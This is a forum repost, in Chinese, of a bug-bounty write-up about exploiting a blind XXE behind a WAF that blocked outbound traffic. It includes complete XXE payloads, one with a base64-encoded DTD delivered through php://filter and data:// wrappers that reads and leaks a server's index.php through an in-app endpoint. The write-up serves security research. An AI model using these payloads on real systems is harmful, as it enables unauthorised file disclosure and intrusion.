漏洞挖掘:绕过WAF的OOB-XXE OS

admin 2019-8-17 296

Hello hackers,

几个星期前,我发布推文称挖到了一个XML实体注入漏洞。这个漏洞的挖掘非常艰难,目标应用程序的WAF封锁了所有对外的请求,包括DNS查询。所以在这里,我向你分享这个有趣的挖洞故事。

由于这是一个私人项目,不便透露站点信息,请见谅。

和往常一样,我在夜里开始黑客工作。在目标站点上收集信息时,我碰到了一个参数为xml的端点,参数内容做了加密处理。进一步分析,我发现这个发往后端的XML数据是在前端做的加密处理,这意味着后端验证机制可能无法正确地验证数据。现在我的想法是更改数据,插入XXE Payload。接下来我需要找到用于加密的JavaScript函数,然后构造Payload。然而,目标应用使用WebPack对JavaScript做了优化缩小处理,我难以读取和跟踪函数。

后来,我想了个办法来避免麻烦,我可以用Chrome DevTools添加断点调试JS,通过这点,我可以在XML数据被加密函数处理前之前更改它。

现在我可以发送自定义的XML数据,并且尝试加入通用的XXE Payload。但端点没有返回任何有效响应,除了当XML存在错误时,它会返回“Error while parsing XML(解析XML数据时出错)”。

我注意到一个奇怪的事,在我使用GET方式向服务器发送带有外部实体的XXE Payload时,该端点需要很长时间才会返回“Error while parsing XML”,并且我的监听器未收到任何请求。但如果我把URL地址设为http://localhost/时,端点快速响应并且没有返回如何错误。

由此,我可以确定应用处于WAF保护下,并且WAF会阻止服务器向外发送请求。所以我想的第一件事就是尝试不同端口,但失败了,我还尝试了DNS查询,监听器仍没有反应。

现在我可以确定存在XXE漏洞,只是它除了可以扫描内部网络的端口,做不了其他事。但是,WAF既然不阻止对内部网络的访问,这就意味着我可以尝试添加URLhttp://target/作为可以正常响应的外部实体。我有一个想法,我需要找到一个无需cookie验证并且使用GET方法传递参数并且我可以在目标站点上公开查看的端点。这个应用程序很配合,它几乎没怎么使用cookie,而是用SID参数(用户token)来验证用户身份。

考虑到这一点,我开始寻找存在三个参数(sid,key,val)的端点,它会把key和val参数保存到特定sid值的用户账户中,以便稍后我们访问查看。

现在要创建一个外部实体,然后发送GET请求至http://target/endpoint.php?sid=[session_id]&key=xxe&val=test,然后访问相同端点,查看xxe和test的值是否有回显。我简单地构造了下面这个XXE Payload:

<!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "http://target/endpoint.php?sid=[session_id]&key=xxe&val=test">
]>
<paramlimits>
  <component name="L1" min="2" max="100">&xxe;</component>
</paramlimits>

然后访问http://target/endpoint.php?sid=[session_id],发现这两个值有回显,这意味着服务器内部可以通过该请求来获取实体。

Ok,目前思路很清晰,我已经获得了XXE的漏洞概念证明。但是我想进一步分析,看看是否可以读到本地文件。

为了读取文件,我们需要创建一个获取文件的参数实体,然后用另一个实体把第一个实体作为val的参数值。为此,我必须用到外部服务器的dtd文件,但防火墙会阻止向外发送请求,我不可能做到这点。

我没有放弃,仍在思考WAF的事情。我想到一个办法,找出一个文件上传端点,然后上传自定义的dtd文件,但是没有上传功能。后来我发现目标应用使用php语言编写,或许可以使用php:// wrapper(包装器)URI来获取我插入在data://中的dtd数据。

构造外部dtdURL:

php://filter//resource=data://text/plain;base64,PCFFTlRJVFkgJSBkYXRhIFNZU1RFTSAicGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT1maWxlOi8vL0Q6L3BhdGgvaW5kZXgucGhwIj4NCjwhRU5USVRZICUgcGFyYW0xICc8IUVOVElUWSBleGZpbCBTWVNURU0gImh0dHA6Ly90YXJnZXQvZW5kcG9pbnQucGhwP3NpZD1bc2Vzc2lvbl9pZF0mIzM4O2tleT14eGUmIzM4O3ZhbD0lZGF0YTsiPic+

当解析器接触到XML数据时,它变成:

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=file:///D:/path/index.php">
<!ENTITY % param1 '<!ENTITY exfil SYSTEM "http://target/endpoint.php?sid=[session_id]&key=xxe&val=%data;">'>

PS:这里我还使用了php://filter/convert.base64-encode/Base64编码index.php内容,以便更好地读取。

下面是完整的Payload:

<!DOCTYPE r [  <!ELEMENT r ANY >
  <!ENTITY % sp SYSTEM "php://filter//resource=data://text/plain;base64,PCFFTlRJVFkgJSBkYXRhIFNZU1RFTSAicGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT1maWxlOi8vL0Q6L3BhdGgvaW5kZXgucGhwIj4NCjwhRU5USVRZICUgcGFyYW0xICc8IUVOVElUWSBleGZpbCBTWVNURU0gImh0dHA6Ly90YXJnZXQvZW5kcG9pbnQucGhwP3NpZD1bc2Vzc2lvbl9pZF0mIzM4O2tleT14eGUmIzM4O3ZhbD0lZGF0YTsiPic+"> %sp; %param1;
]><paramlimits>
  <component name="L1" min="2" max="100">&exfil;</component></paramlimits>

然后访问http://target/endpoint.php?sid=[session_id],可以看到经Base64编码的index.php的内容

故事就是这样

文章来源:https://mahmoudsec.blogspot.com/2019/08/exploiting-out-of-band-xxe-using.html


少客联盟- 版权声明 1、本主题所有言论和图片纯属会员个人意见,与少客联盟立场无关。
2、本站所有主题由该帖子作者发表,该帖子作者admin少客联盟享有帖子相关版权。
3、少客联盟管理员和版主有权不事先通知发贴者而删除本文。
4、其他单位或个人使用、转载或引用本文时必须同时征得该帖子作者admin少客联盟的同意。
5、帖子作者须承担一切因本文发表而直接或间接导致的民事或刑事法律责任。
6、本帖部分内容转载自其它媒体,但并不代表本站赞同其观点和对其真实性负责。
7、如本帖侵犯到任何版权问题,请立即告知本站,本站将及时予与删除并致以最深的歉意。
8、官方反馈邮箱:chinasuc@chinasuc.cn


上一篇:Webpack 代码分析与优化
下一篇:ThinkPHP 5.x 存在执行漏洞 可远程GetShell
Whatever is worth doing is worth doing well. juvenile hacker league
最新回复 (0)
    • 少客联盟
      2
        登录 注册 QQ登录(停用)
返回